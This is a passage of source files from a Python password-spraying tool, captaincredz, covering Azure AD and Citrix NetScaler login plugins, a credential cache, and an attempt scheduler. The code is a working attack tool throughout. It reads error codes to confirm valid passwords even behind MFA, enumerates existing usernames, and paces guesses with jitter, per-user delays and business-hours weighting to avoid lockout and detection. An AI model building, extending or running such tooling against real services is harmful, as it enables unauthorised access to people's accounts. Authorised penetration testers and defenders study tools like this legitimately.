91 | data_response['output'] = f"[+] SUCCESS ({error_code}): {username}:{password} - NOTE: The response indicates token access is blocked by CAP"
92 |
93 | elif "AADSTS50076" in error:
94 | # Microsoft MFA response
95 | data_response['result'] = "success"
96 | data_response['output'] = f"[+] SUCCESS ({error_code}): {username}:{password} - NOTE: The response indicates MFA (Microsoft) is in use"
97 |
98 | elif "AADSTS50079" in error:
99 | # Microsoft MFA response
100 | data_response['result'] = "success"
101 | data_response['output'] = f"[+] SUCCESS ({error_code}): {username}:{password} - NOTE: The response indicates MFA (Microsoft) must be onboarded!"
102 |
103 | elif "AADSTS50158" in error:
104 | # Conditional Access response (Based off of limited testing this seems to be the response to DUO MFA)
105 | data_response['result'] = "success"
106 | data_response['output'] = f"[+] SUCCESS ({error_code}): {username}:{password} - NOTE: The response indicates conditional access (MFA: DUO or other) is in use."
107 |
108 | elif "AADSTS53003" in error and not "AADSTS530034" in error:
109 | # Conditional Access response as per https://github.com/dafthack/MSOLSpray/issues/5
110 | data_response['result'] = "success"
111 | data_response['output'] =f"SUCCESS ({error_code}): {username}:{password} - NOTE: The response indicates a conditional access policy is in place and the policy blocks token issuance."
112 |
113 | elif "AADSTS50053" in error:
114 | # Locked out account or Smart Lockout in place
115 | data_response['result'] = "potential"
116 | data_response['output'] = f"[?] WARNING ({error_code}): The account {username} appears to be locked."
117 |
118 | elif "AADSTS50055" in error:
119 | # User password is expired
120 | data_response['result'] = "success"
121 | data_response['output'] = f"[+] SUCCESS ({error_code}): {username}:{password} - NOTE: The user's password is expired."
122 |
123 | elif "AADSTS50057" in error:
124 | # The user account is disabled
125 | data_response['result'] = "success"
126 | data_response['output'] = f"[+] SUCCESS ({error_code}): {username}:{password} - NOTE: The user is disabled."
127 |
128 | else:
129 | # Unknown errors
130 | data_response['result'] = "potential"
131 | data_response['output'] = f"[-] POTENTIAL ({error_code}): Got an error we haven't seen yet for user {username}"
132 |
133 | except Exception as ex:
134 | data_response['result'] = "failure"
135 | data_response['error'] = True
136 | data_response['output'] = str(ex.__repr__())
137 | pass
138 |
139 | return data_response
140 |
--------------------------------------------------------------------------------
/captaincredz/lib/cache.py:
--------------------------------------------------------------------------------
1 | import os, threading, sqlite3, datetime
2 |
3 |
4 | class Cache:
5 | RESULT_SUCCESS = 0
6 | RESULT_POTENTIAL = 1
7 | RESULT_FAILURE = 2
8 | RESULT_INEXISTANT = 3
9 | TRANSLATE = {
10 | "success": RESULT_SUCCESS,
11 | "potential": RESULT_POTENTIAL,
12 | "failure": RESULT_FAILURE,
13 | "inexistant": RESULT_INEXISTANT,
14 | }
15 | TRANSLATE_INV = {
16 | RESULT_SUCCESS: "success",
17 | RESULT_POTENTIAL: "potential",
18 | RESULT_FAILURE: "failure",
19 | RESULT_INEXISTANT: "inexistant",
20 | }
21 | WRITEBACK_DIFF_THRESHOLD = 5
22 |
23 | def __init__(self, cache_file="cache.db"):
24 | self.L1 = dict()
25 | self.lock = threading.Lock()
26 | self.cache_file = cache_file
27 | self.error = None
28 | self.diff = 0
29 | if os.path.exists(self.cache_file) and not os.path.isfile(self.cache_file):
30 | self.error = (
31 | f"The cache path ({self.cache_file}) already exists and is not a file."
32 | )
33 | if self.error is None:
34 | conn = None
35 | try:
36 | conn = sqlite3.connect(self.cache_file)
37 | except:
38 | self.error = "The cache file cannot be loaded by SQLite."
39 | if self.error is None:
40 | conn.cursor().execute(
41 | """
42 | CREATE TABLE IF NOT EXISTS cache (
43 | id INTEGER PRIMARY KEY,
44 | timestamp TIMESTAMP DEFAULT CURRENT_TIMESTAMP NOT NULL,
45 | username TEXT NOT NULL,
46 | password TEXT NOT NULL,
47 | result INTEGER NOT NULL,
48 | output TEXT NOT NULL,
49 | plugin TEXT NOT NULL
50 | )
51 | """
52 | )
53 | conn.commit()
54 |
55 | # Fill L1 cache
56 | self.lock.acquire()
57 | recs = conn.cursor().execute("SELECT * from cache").fetchall()
58 | for data in recs:
59 | id, ts, username, passwd, res, out, plugin = data
60 | if not plugin in self.L1:
61 | self.L1[plugin] = dict()
62 | if not username in self.L1[plugin]:
63 | self.L1[plugin][username] = dict()
64 | self.L1[plugin][username][passwd] = {
65 | "timestamp": ts,
66 | "result": res,
67 | "output": out,
68 | "in_db": True,
69 | }
70 | self.lock.release()
71 |
72 | def write_back(self):
73 | self.lock.acquire()
74 | conn = sqlite3.connect(self.cache_file)
75 | for plugin in self.L1:
76 | for username in self.L1[plugin]:
77 | for password in self.L1[plugin][username]:
78 | if not self.L1[plugin][username][password]["in_db"]:
79 | rec = self.L1[plugin][username][password]
80 | conn.cursor().execute(
81 | """
82 | INSERT INTO cache (
83 | timestamp,
84 | username,
85 | password,
86 | result,
87 | output,
88 | plugin
89 | ) VALUES (?,?,?,?,?,?)
90 | """,
91 | (
92 | rec["timestamp"],
93 | username,
94 | password,
95 | rec["result"],
96 | rec["output"],
97 | plugin,
98 | ),
99 | )
100 | self.L1[plugin][username][password]["in_db"] = True
101 | conn.commit()
102 | self.diff = 0
103 | self.lock.release()
104 |
105 | def add_tentative(self, username, password, timestamp, result, output, plugin):
106 | if not plugin in self.L1:
107 | self.L1[plugin] = dict()
108 | if not username in self.L1[plugin]:
109 | self.L1[plugin][username] = dict()
110 | self.lock.acquire()
111 | if type(result) == str:
112 | result = Cache.TRANSLATE[result]
113 | self.L1[plugin][username][password] = {
114 | "timestamp": timestamp,
115 | "result": result,
116 | "output": output,
117 | "in_db": False,
118 | }
119 | self.diff += 1
120 | self.lock.release()
121 | if self.diff > Cache.WRITEBACK_DIFF_THRESHOLD:
122 | self.write_back()
123 |
124 | def user_exists(self, username, plugin):
125 | if not plugin in self.L1:
126 | return True
127 | if not username in self.L1[plugin]:
128 | return True
129 | for p in self.L1[plugin][username]:
130 | if self.L1[plugin][username][p]["result"] == Cache.RESULT_INEXISTANT:
131 | return False
132 | return True
133 |
134 | def user_exists_multiplugin(self, _username_list, _plugin_list):
135 | assert len(_username_list) == len(_plugin_list)
136 | username_list = list(_username_list)
137 | plugin_list = list(_plugin_list)
138 | r = True
139 | for i in range(len(username_list)):
140 | r &= self.user_exists(username_list[i], plugin_list[i])
141 | return r
142 |
143 | def user_success(self, username, plugin):
144 | if not plugin in self.L1:
145 | return False
146 | if not username in self.L1[plugin]:
147 | return False
148 | for p in self.L1[plugin][username]:
149 | if self.L1[plugin][username][p]["result"] == Cache.RESULT_SUCCESS:
150 | return True
151 | return False
152 |
153 | def user_success_multiplugin(self, _username_list, _plugin_list):
154 | assert len(_username_list) == len(_plugin_list)
155 | username_list = list(_username_list)
156 | plugin_list = list(_plugin_list)
157 | r = False
158 | for i in range(len(username_list)):
159 | r |= self.user_success(username_list[i], plugin_list[i])
160 | return r
161 |
162 | def get_last_user_timestamp(self, username, plugin):
163 | if not plugin in self.L1:
164 | return 0
165 | if not username in self.L1[plugin]:
166 | return 0
167 | ts = 0
168 | for p in self.L1[plugin][username]:
169 | ts = max(ts, self.L1[plugin][username][p]["timestamp"])
170 | return ts
171 |
172 | def get_last_user_timestamp_multiplugin(self, _username_list, _plugin_list):
173 | assert len(_username_list) == len(_plugin_list)
174 | username_list = list(_username_list)
175 | plugin_list = list(_plugin_list)
176 | x = 0
177 | for i in range(len(username_list)):
178 | x = max(x, self.get_last_user_timestamp(username_list[i], plugin_list[i]))
179 | return x
180 |
181 | def get_last_plugin_timestamp(self, plugin):
182 | if not plugin in self.L1:
183 | return 0
184 | ts = 0
185 | for u in self.L1[plugin]:
186 | for p in self.L1[plugin][u]:
187 | ts = max(ts, self.L1[plugin][u][p]["timestamp"])
188 | return ts
189 |
190 | def query_creds(self, username, password, plugin):
191 | if not plugin in self.L1:
192 | return None
193 | if not username in self.L1[plugin]:
194 | return None
195 | if not password in self.L1[plugin][username]:
196 | return None
197 | return self.L1[plugin][username][password]
198 |
199 | def query_creds_multiplugin(self, _username_list, password, _plugin_list):
200 | assert len(_username_list) == len(_plugin_list)
201 | username_list = list(_username_list)
202 | plugin_list = list(_plugin_list)
203 | for i in range(len(username_list)):
204 | x = self.query_creds(username_list[i], password, plugin_list[i])
205 | if x is not None:
206 | return x
207 | return None
208 |
--------------------------------------------------------------------------------
/captaincredz/plugins/citrix/__init__.py:
--------------------------------------------------------------------------------
1 | import xml.etree.ElementTree as ET
2 |
3 | class Plugin:
4 | def __init__(self, requester, pluginargs):
5 | self.requester = requester
6 | self.pluginargs = pluginargs
7 |
8 | def validate(self):
9 | """
10 | This functions verifies if the plugin args are correctly defined
11 | """
12 |
13 | if not "url" in self.pluginargs.keys():
14 | return False, "You must provide a valid Citrix Netscaler Gateway URL (Ex: https://target.com/p/u or https://target.com/nf/auth)"
15 | else:
16 | return True, None
17 |
18 | def testconnect(self, useragent):
19 | """
20 | This functions verifies if everything is good network-wise
21 | """
22 |
23 | r = self.requester.post(self.pluginargs["url"]+"/getAuthenticationRequirements.do", headers = {"User-Agent": useragent})
24 | if r.status_code == 200:
25 | root = ET.fromstring(r.text)
26 | stateContext = root.find(".//{*}StateContext")
27 | if stateContext != None:
28 | self.pluginargs["authRequirements"] = r # Save authentication requirements
29 | return True
30 | else:
31 | return False
32 | else:
33 | return False
34 |
35 | def test_authenticate(self, username, password, useragent):
36 | """
37 | This functions authenticates
38 | """
39 |
40 | # TODO: Validate each response with returned values to a dedicated local environment (if possible)
41 |
42 | data_response = {
43 | "result": None, # either "success", "inexistant", "potential" or "failure"
44 | "error": False, # if there's an error (to indicate that a retry is needed)
45 | "output": None, # return message
46 | "request": None, # represents the request, useful for example to print the cookies obtained
47 | }
48 |
49 | # User enum and verbose error message
50 | # https://pwn.no0.be/recon/citrix/enum_users/
51 | # https://jamesonhacking.blogspot.com/2018/11/password-spraying-citrix-netscalers-by.html
52 | # https://www.citrix.com/blogs/2014/06/11/enhanced-authentication-feedback/
53 | # Format = data_response['result'], data_response['output']
54 | NSC_VPNERR = {
55 | "4001": ["failure", "Incorrect user name or password"],
56 | "4002": ["potential", "You do not have permission to log on"],
57 | "4003": ["failure", "Cannot connect to server. Try connecting again in a few minutes"],
58 | "4004": ["failure", "Cannot connect. Try connecting again"],
59 | "4005": ["failure", "Cannot connect. Try connecting again"],
60 | "4006": ["inexistant", "Incorrect user name"],
61 | "4007": ["failure", "Incorrect password"],
62 | "4008": ["failure", "Passwords do not match"],
63 | "4009": ["inexistant", "User not found"],
64 | "4010": ["potential", "You do not have permission to log on at this time"],
65 | "4011": ["potential", "Your account is disabled"],
66 | "4012": ["potential", "Your password has expired"],
67 | "4013": ["potential", "You do not have permission to log on"],
68 | "4014": ["potential", "Could not change your password"],
69 | "4015": ["potential", "Your account is temporarily locked"],
70 | "4016": ["potential", "Could not update your password. The password must meet the length, complexity, and history requirements of the domain"],
71 | "4017": ["failure", "Unable to process your request"],
72 | "4018": ["potential", "Your device failed to meet compliance requirements. Please check with your administrator"],
73 | "4019": ["potential", "Your device is not managed. Please check with your administrator"]
74 | }
75 |
76 | def getDisplayValues(requirement):
77 | res = []
78 | for displayValue in requirement.findall('.//{*}DisplayValue'):
79 | value = displayValue.find('./{*}Value')
80 | if value != None and value.text != None and value.text != '':
81 | res += [value.text]
82 |
83 | return res
84 |
85 | try:
86 |
87 | r = self.pluginargs["authRequirements"]
88 | data_response['request'] = r
89 |
90 | # Parse required login parameters
91 |
92 | validParams = True
93 | data = {}
94 | root = ET.fromstring(r.text)
95 | stateContext = root.find(".//{*}StateContext").text
96 | data["StateContext"] = stateContext
97 | for requirement in root.findall('.//{*}Requirement'):
98 | param = requirement.find('./{*}Credential/{*}ID')
99 | label = requirement.find('./{*}Label/{*}Text')
100 | button = requirement.find('./{*}Input/{*}Button')
101 |
102 | if param is not None and param.text != None and param.text != '':
103 | param = param.text
104 | if param.lower() == "login":
105 | data[param] = username
106 | elif param.lower() == "passwd":
107 | data[param] = password
108 | elif param.lower() == "savecredentials":
109 | data[param] = "false"
110 | elif param.lower() == "FIXME":
111 | # FIXME: Here you can handle additional parameters if required, otherwise validParams will be set to False and no authentication requests will be send
112 | # Common additional parameters are: domain, passwd1 (2FA for example), etc.
113 | pass
114 | else:
115 | if button is None:
116 | validParams = False
117 | displayValues = getDisplayValues(requirement)
118 | break
119 | else:
120 | if button.text != None and button.text != '':
121 | data[param] = button.text
122 | else:
123 | data[param] = "Log on"
124 |
125 | if not validParams: # An additional parameter is required to login but not handled
126 |
127 | data_response['result'] = 'failure'
128 | if label != None:
129 | if label.text != None and label.text != '':
130 | label = label.text
131 | else:
132 | label = 'None'
133 | if displayValues == []:
134 | data_response['output'] = f"Parameter '{param}' (Label = '{label}') required by the server and not handled. No possible values found. Edit 'FIXME' into the plugin to handle It"
135 | else:
136 | data_response['output'] = f"Parameter '{param}' (Label = '{label}') required by the server and not handled. Possible values = {displayValues}. Edit 'FIXME' into the plugin to handle It"
137 |
138 | else:
139 |
140 | # Send the login request
141 |
142 | headers = {
143 | "User-Agent": useragent,
144 | "X-Citrix-Am-Credentialtypes": "none, username, domain, password, newpassword, passcode, savecredentials, textcredential, webview, negotiate, nsg_push, nsg_push_otp, nf_sspr_rem, nsg-epa, nsg-epa-v2, nsg-x1, nsg-setclient, nsg-eula, nsg-tlogin, nsg-fullvpn, nsg-hidden, nsg-auth-failure, nsg-auth-success, nsg-epa-success, nsg-l20n, GoBack, nf-recaptcha, ns-dialogue, nf-gw-test, nf-poll, nsg_qrcode, nsg_manageotp"
145 | }
146 |
147 | r = self.requester.post(self.pluginargs["url"]+"/doAuthentication.do", headers = headers, data = data)
148 | data_response['request'] = r
149 | errorCodeCookie = r.cookies.get("NSC_VPNERR")
150 |
151 | if errorCodeCookie == None: # No NSC_VPNERR cookie returned => Parse the XML node
152 |
153 | # https://developer-docs.citrix.com/en-us/storefront/citrix-storefront-authentication-sdk/common-authentication-forms-language.html
154 | root = ET.fromstring(r.text)
155 | result = root.find(".//{*}Result").text
156 |
157 | if result in ["success", "update-credentials"]: # Authentication succeeded
158 |
159 | data_response['result'] = "success"
160 | data_response['output'] = f"Valid account found"
161 |
162 | else: # Authentication failed
163 |
164 | if result == "more-info": # Try to extract error message
165 |
166 | data_response['result'] = "failure"
167 | data_response['output'] = f"Authentication failed. Return status: {result}"
168 |
169 | for requirement in root.findall('.//{*}Requirement'):
170 | label = requirement.find('./{*}Label')
171 | if label != None:
172 | text = label.find('./{*}Text')
173 | type = label.find('./{*}Type')
174 | if type != None and type.text != None and type.text != '' and 'error' in type.text.lower(): # Known error types: 'nsg-l20n-error', 'l20n-error', 'error'
175 | if text != None and text.text != None and text.text != '':
176 | text = text.text
177 | if text.startswith('errorMessageLabel'): # We can use the NSC_VPNERR table
178 |
179 | errorCodeText = text.split('errorMessageLabel')[1].split('')[0]
180 | errorInfo = NSC_VPNERR.get(errorCodeText)
181 |
182 | if errorInfo == None: # NSC_VPNERR error code unknown
183 |
184 | data_response['error'] = True
185 | data_response['output'] = f"Unknown NSC_VPNERR error code: {errorCodeText}. Check target's error codes at /logon/themes/Default/resources/en.xml"
186 |
187 | else: # NSC_VPNERR error code known => Return response
188 |
189 | data_response['result'] = errorInfo[0]
190 | data_response['output'] = errorInfo[1]
191 |
192 | else: # It may contains the error message directly
193 |
194 | data_response['output'] = text
195 |
196 | else: # No additional information provided
197 |
198 | data_response['result'] = "failure"
199 | data_response['output'] = f"Authentication failed. Return status: {result}"
200 |
201 | else: # NSC_VPNERR cookie returned => Authentication failed. Parse the cookie
202 |
203 | errorInfo = NSC_VPNERR.get(errorCodeCookie)
204 |
205 | if errorInfo == None: # NSC_VPNERR error code unknown
206 |
207 | data_response['error'] = True
208 | data_response['output'] = f"Unknown NSC_VPNERR error code: {errorCodeCookie}. Check target's error codes at /logon/themes/Default/resources/en.xml"
209 |
210 | else: # NSC_VPNERR error code known => Return response
211 |
212 | data_response['result'] = errorInfo[0]
213 | data_response['output'] = errorInfo[1]
214 |
215 | except Exception as ex:
216 |
217 | data_response['error'] = True
218 | data_response['output'] = str(ex.__repr__())
219 |
220 | return data_response
--------------------------------------------------------------------------------
/captaincredz/lib/pool.py:
--------------------------------------------------------------------------------
1 | import threading
2 | import random
3 | import time
4 | from queue import deque
5 | import datetime
6 | import csv
7 |
8 |
9 | class User:
10 | def __init__(self):
11 | self.usernames = []
12 | self.passwords = deque([])
13 | self.inflight = []
14 | self.trimmed = False
15 | self.ready = True
16 |
17 | def __str__(self):
18 | ret = "Usernames: " + str(self.usernames) + "\n"
19 | ret += "\tPasswords: " + str(self.passwords) + "\n"
20 | ret += "\tInflight: " + str(self.inflight) + "\n"
21 | ret += "\tTrimmed: " + str(self.trimmed) + "\n"
22 | ret += "\tReady: " + str(self.ready) + "\n"
23 | ret += "\tID: " + str(id(self)) + "\n"
24 | return ret
25 |
26 | def __repr__(self):
27 | return self.__str__()
28 |
29 |
30 | class CredSet:
31 | def __init__(self):
32 | self.users = [] # [User]
33 |
34 | def add_user(self, usernames=None, passwords=None):
35 | if usernames is None:
36 | usernames = []
37 | if passwords is None:
38 | passwords = []
39 |
40 | # Merge user if it exists (like upsert)
41 | exists = False
42 | u = None
43 | for _u in self.users:
44 | if all([a == b for a, b in zip(_u.usernames, usernames)]):
45 | u = _u
46 | exists = True
47 | break
48 |
49 | if exists:
50 | u.passwords.extend(passwords)
51 | else:
52 | u = User()
53 | u.usernames = usernames
54 | u.passwords = deque(passwords)
55 | u.inflight = []
56 | u.trimmed = False
57 | u.ready = True
58 | self.users.append(u)
59 |
60 | def add_password(self, password):
61 | for u in self.users:
62 | u.passwords.append(password)
63 |
64 | def add_passwords(self, passwords):
65 | for u in self.users:
66 | u.passwords.extend(passwords)
67 |
68 | def get_next_user(self):
69 | maxLen = -1
70 | maxI = -1
71 | for i in range(len(self.users)):
72 | if (
73 | self.users[i].ready
74 | and not self.users[i].trimmed
75 | and len(self.users[i].passwords) > maxLen
76 | ):
77 | maxLen = len(self.users[i].passwords)
78 | maxI = i
79 | if maxLen > 0:
80 | p = self.users[maxI].passwords.popleft()
81 | self.users[maxI].inflight.append(p)
82 | self.users[maxI].ready = False
83 | return self.users[maxI].usernames, p
84 | else:
85 | return None, None
86 |
87 | def garbage_collect(self):
88 | self.users = [u for u in self.users if not u.trimmed]
89 |
90 | def trim_user(self, username, plugin_id):
91 | for u in self.users:
92 | if u.usernames[plugin_id] == username:
93 | u.trimmed = True
94 | break
95 |
96 | @property
97 | def finished(self):
98 | return all([u.trimmed for u in self.users])
99 |
100 | @property
101 | def length(self):
102 | return sum(
103 | [len(u.passwords) + len(u.inflight) for u in self.users if not u.trimmed]
104 | )
105 |
106 |
107 | class Sleeper:
108 | SLEEP_INTERVAL = 2
109 | WW_SLEEP_INTERVAL = 60
110 |
111 | def __init__(self, delays, start_date):
112 | self._delays = delays
113 | self._cancelled = False
114 | self._start_date = start_date
115 |
116 | def ww_calc_factor(self):
117 | if self._delays["ww"] is None:
118 | return 1
119 | now = datetime.datetime.now(
120 | datetime.timezone(
121 | datetime.timedelta(hours=self._delays["ww"]["utc_offset"])
122 | )
123 | )
124 | day_factor = Sleeper.clamp(
125 | self._delays["ww"]["days_factor"][now.strftime("%A")[:3].lower()], 0, 1
126 | )
127 | hour_factor = Sleeper.clamp(
128 | self._delays["ww"]["hours_factor"][str(now.hour)], 0, 1
129 | )
130 | rampup_factor = (datetime.datetime.now() - self._start_date).total_seconds() / (
131 | 24 * 60 * 60
132 | )
133 | rampup_factor = rampup_factor * (self._delays["ww"]["daily_speedup"] - 1) + 1
134 | rampup_factor = rampup_factor * self._delays["ww"]["initial_speed"]
135 | rampup_factor = min(rampup_factor, 1)
136 | total_factor = day_factor * hour_factor * rampup_factor
137 | # Should never be useful, but there in any case
138 | total_factor = Sleeper.clamp(total_factor, 0, 1)
139 | return total_factor
140 |
141 | def cancellable_sleep(self, sec):
142 | delay_total = sec
143 | delay_turns = round(delay_total // Sleeper.SLEEP_INTERVAL)
144 | for _ in range(delay_turns):
145 | if self._cancelled:
146 | return False
147 | time.sleep(Sleeper.SLEEP_INTERVAL)
148 | if self._cancelled:
149 | return False
150 | time.sleep(delay_total % Sleeper.SLEEP_INTERVAL)
151 | return True
152 |
153 | def weighted_cancellable_sleep(self, t):
154 | to_sleep_time = t
155 | slept_time = 0
156 | while slept_time < to_sleep_time and not self._cancelled:
157 | f = self.ww_calc_factor()
158 | s = Sleeper.WW_SLEEP_INTERVAL
159 | if f > 0.01:
160 | s = min(s, (to_sleep_time - slept_time) / f)
161 | self.cancellable_sleep(s)
162 | slept_time += s * f
163 | return not self._cancelled
164 |
165 | def user_sleep(self, custom_delay=None):
166 | if self._cancelled:
167 | return
168 | d = self._delays["user"]
169 | if custom_delay is not None:
170 | d = custom_delay
171 | sleep_time = d + random.random() * self._delays["jitter"]
172 | self.weighted_cancellable_sleep(sleep_time)
173 |
174 | def request_sleep(self, t=None):
175 | if self._cancelled:
176 | return
177 | if t is None:
178 | t = self._delays["req"] + random.random() * self._delays["jitter"]
179 | self.weighted_cancellable_sleep(t)
180 |
181 | def chunk_sleep(self):
182 | if self._cancelled:
183 | return
184 | sleep_time = (
185 | self._delays["chunk_delay"] + random.random() * self._delays["jitter"]
186 | )
187 | self.weighted_cancellable_sleep(sleep_time)
188 |
189 | @staticmethod
190 | def clamp(x, m, M):
191 | return max(m, min(M, x))
192 |
193 |
194 | class Pool:
195 | CSV_DELIMITER = ";"
196 | USERPASS_DELIMITER = ":"
197 |
198 | def __init__(
199 | self, userfile, passwordfile, userpassfile, delays, cache, workers, logger
200 | ):
201 | self.cache = cache
202 | self.logger = logger
203 | self.workers = workers
204 | self.cancelled = False
205 | self.get_creds_lock = threading.Lock()
206 | self.chunk_count = 0
207 | self.attempts_count = 0
208 |
209 | self.credset = CredSet()
210 | self.sleeper = Sleeper(delays, datetime.datetime.now())
211 |
212 | # I'm not smart here so that this is trivially correct and not overengineered
213 | # It can be improved by filtering with cache when creating, but it implies more complex code
214 |
215 | # Step 1 : Create everything
216 | if userfile is not None:
217 | with open(userfile, "r") as f:
218 | for username_list in csv.reader(f, delimiter=Pool.CSV_DELIMITER):
219 | self.credset.add_user(usernames=username_list)
220 | if userpassfile is not None:
221 | with open(userpassfile, "r") as f:
222 | x = [
223 | up.rstrip("\n").split(Pool.USERPASS_DELIMITER, 1)
224 | for up in f.readlines()
225 | ]
226 | for ulp in x:
227 | assert len(ulp) == 2
228 | ul, p = ulp
229 | self.credset.add_user(
230 | usernames=ul.split(Pool.CSV_DELIMITER), passwords=[p]
231 | )
232 | if passwordfile is not None:
233 | with open(passwordfile, "r") as f:
234 | self.credset.add_passwords(
235 | [
236 | p.rstrip("\r\t\n")
237 | for p in f.readlines()
238 | if len(p.rstrip("\r\t\n")) > 0
239 | ]
240 | )
241 |
242 | # Step 2 : Remove the cache hits from the creds set
243 | # 2.1 : remove inexistant and successful users
244 | plugins = [w.plugin for w in self.workers]
245 | for user in self.credset.users:
246 | usernames = user.usernames
247 | exists = self.cache.user_exists_multiplugin(usernames, plugins)
248 | already_success = self.cache.user_success_multiplugin(usernames, plugins)
249 | if not (exists and not already_success):
250 | reason = "captaincredz already found their password"
251 | if not exists:
252 | reason = "this user does not exist / is invalid"
253 | self.logger.debug(f"{usernames} is ignored because " + reason)
254 | user.trimmed = True
255 | # 2.2 : remove already tried passwords for the rest of users
256 | for user in self.credset.users:
257 | usernames = user.usernames
258 | filtered_passwords = []
259 | for p in user.passwords:
260 | cache_result = self.cache.query_creds_multiplugin(usernames, p, plugins)
261 | if cache_result is None:
262 | filtered_passwords.append(p)
263 | user.passwords = deque(filtered_passwords)
264 | self.credset.garbage_collect()
265 |
266 | # Step 3 : Set the ready state with the last timestamp for each user
267 | ts_now = datetime.datetime.now().timestamp()
268 | for user in self.credset.users:
269 | usernames = user.usernames
270 | last_timestamp = self.cache.get_last_user_timestamp_multiplugin(
271 | usernames, plugins
272 | )
273 | last_sprayed_delay = ts_now - last_timestamp
274 | if last_sprayed_delay < self.sleeper._delays["user"]:
275 | self.logger.debug(f"{usernames} was last tried {int(last_sprayed_delay)} (< delay_user) seconds ago according to the cache, will wait {self.sleeper._delays['user'] - last_sprayed_delay} seconds before spraying them")
276 | user.ready = False
277 | threading.Thread(
278 | target=self.user_delay_thread,
279 | args=(user, self.sleeper._delays["user"] - last_sprayed_delay),
280 | ).start()
281 |
282 | def apply_delays(self, user):
283 | if self.cancelled:
284 | return
285 | thread_request = threading.Thread(target=self.request_delay_thread)
286 | thread_user = threading.Thread(target=self.user_delay_thread, args=(user,))
287 | thread_request.start()
288 | thread_user.start()
289 |
290 | def user_delay_thread(self, user, custom_delay=None):
291 | self.sleeper.user_sleep(custom_delay)
292 | try:
293 | user.ready = True
294 | except:
295 | # user was probably trimmed during sleep or something
296 | pass
297 |
298 | def request_delay_thread(self, t=None):
299 | self.chunk_count += 1
300 | if (
301 | self.sleeper._delays["chunk_size"] > 0
302 | and self.chunk_count >= self.sleeper._delays["chunk_size"]
303 | ):
304 | self.chunk_count = 0
305 | self.sleeper.chunk_sleep()
306 | self.sleeper.request_sleep(t)
307 |
308 | try:
309 | self.get_creds_lock.release()
310 | except Exception as ex:
311 | if "unlocked lock" in str(ex):
312 | pass # OK
313 | else:
314 | pass # Weird
315 |
316 | def trim_user(self, username, worker_id):
317 | self.logger.debug(f"Trimming {username}")
318 | self.credset.trim_user(username, worker_id)
319 |
320 | def get_creds(self, filtered_workers):
321 | if self.cancelled:
322 | return None, None
323 | self.get_creds_lock.acquire()
324 |
325 | # Start off by picking an available worker
326 | try:
327 | worker_id = random.choices(
328 | range(len(filtered_workers)), [w.weight for w in filtered_workers]
329 | )[0]
330 | except:
331 | self.logger.debug(
332 | f"Workers are all finished, will not return any more credz..."
333 | )
334 | return None, None
335 |
336 | # Then pick a username/password
337 | usernames = None
338 | password = None
339 | while usernames is None and not self.cancelled:
340 | usernames, password = self.credset.get_next_user()
341 | if usernames is None:
342 | self.credset.garbage_collect()
343 | time.sleep(Sleeper.SLEEP_INTERVAL)
344 | if self.credset.length == 0:
345 | self.stop()
346 | if usernames is None:
347 | try:
348 | self.get_creds_lock.release()
349 | except Exception as ex:
350 | if "unlocked lock" in str(ex):
351 | pass # OK
352 | else:
353 | print("BBBB")
354 | pass # Weird
355 | return None, None
356 |
357 | username = usernames[filtered_workers[worker_id].id]
358 |
359 | self.attempts_count += 1
360 | return {"username": username, "password": password}, worker_id
361 |
362 | def signal_tried(self, username, password, plugin_id, error=False):
363 | if error:
364 | self.attempts_count -= 1
365 | user = None
366 | for u in self.credset.users:
367 | if u.usernames[plugin_id] == username:
368 | user = u
369 | break
370 | if user is None:
371 | if self.get_total_size() == 0:
372 | self.stop()
373 | return
374 |
375 | try:
376 | user.inflight.remove(password)
377 | except:
378 | pass
379 |
380 | self.apply_delays(user)
381 | if error:
382 | user.passwords.appendleft(password)
383 | else:
384 | if self.get_total_size() == 0:
385 | self.stop()
386 |
387 | def stop(self):
388 | self.cancelled = True
389 | self.sleeper._cancelled = True
390 |
391 | def get_total_size(self):
392 | return self.credset.length
393 |
--------------------------------------------------------------------------------
/captaincredz/lib/engine.py:
--------------------------------------------------------------------------------
1 | import json
2 | import os
3 | import threading
4 | import signal
5 | import sys
6 | import importlib
7 | from pprint import pprint
8 | from .cache import Cache
9 | from .logger import Logger
10 | from .pool import Pool
11 | from .requester import Requester
12 | from .worker import Worker
13 |
14 |
15 | class Engine:
16 | def __init__(self, args):
17 | self._logger = None
18 | self._stopped = False
19 | self._progress_bar = None
20 | self._post_actions = dict()
21 | self._workers = [] # One worker per plugin instance
22 | default_args = {
23 | "plugins": None,
24 | "post_actions": None,
25 | "userfile": None,
26 | "passwordfile": None,
27 | "userpassfile": None,
28 | "jitter": 0,
29 | "delay_req": 0,
30 | "delay_user": 0,
31 | "chunk_size": 0,
32 | "chunk_delay": 0,
33 | "stop_on_success": False,
34 | "stop_worker_on_success": False,
35 | "log_file": "captaincredz.log",
36 | "cache_file": "cache.db",
37 | "verbose": False,
38 | "weekday_warrior": None,
39 | }
40 | plugin_default_args = {
41 | "args": [],
42 | "headers": dict(),
43 | "proxy": None,
44 | "useragentfile": None,
45 | "weight": 1,
46 | "req_timeout": 60,
47 | }
48 |
49 | self.args = {**default_args, **args.__dict__}
50 | if self.args["config"] != None:
51 | try:
52 | with open(self.args["config"], "r") as f:
53 | j = json.load(f)
54 | for k in j:
55 | if j[k] is not None:
56 | self.args[k] = j[k]
57 | except:
58 | print("The main config file cannot be loaded, aborting")
59 | self._valid_args = False
60 | return
61 | if self.args["weekday_warrior"] != None:
62 | try:
63 | with open(self.args["weekday_warrior"], "r") as f:
64 | self.args["weekday_warrior"] = json.load(f)
65 | except:
66 | print("The weekday warrior config file cannot be loaded, aborting")
67 | self._valid_args = False
68 | return
69 |
70 | self._logger = Logger(self.args["log_file"], verbose=self.args["verbose"])
71 | self._valid_args = self.check_args()
72 | if not self._valid_args:
73 | return
74 |
75 | # Initialize post-actions
76 | if self.args["post_actions"] is not None:
77 | for action_name in self.args["post_actions"].keys():
78 | action = self.args["post_actions"][action_name]
79 | for hook in action["trigger"]:
80 | if hook not in self._post_actions.keys():
81 | # If hook does not exist in the post_action dict, we create it
82 | self._post_actions[hook] = []
83 |
84 | # In any case, we add the current action to the list associated with the hook being processed
85 | d = {
86 | "module": importlib.import_module(
87 | f".post_actions.{action_name}",
88 | package='captaincredz'
89 | ),
90 | "params": action.get("params"),
91 | "name": action_name,
92 | }
93 | self._post_actions[hook].append(d)
94 |
95 | # Initialize plugins
96 | for i in range(len(self.args["plugins"])):
97 | for k in plugin_default_args:
98 | if not k in self.args["plugins"][i].keys():
99 | self.args["plugins"][i][k] = plugin_default_args[k]
100 | for p in self.args["plugins"]:
101 | requests_proxy = Requester(
102 | useragentfile=p["useragentfile"],
103 | proxy=p["proxy"],
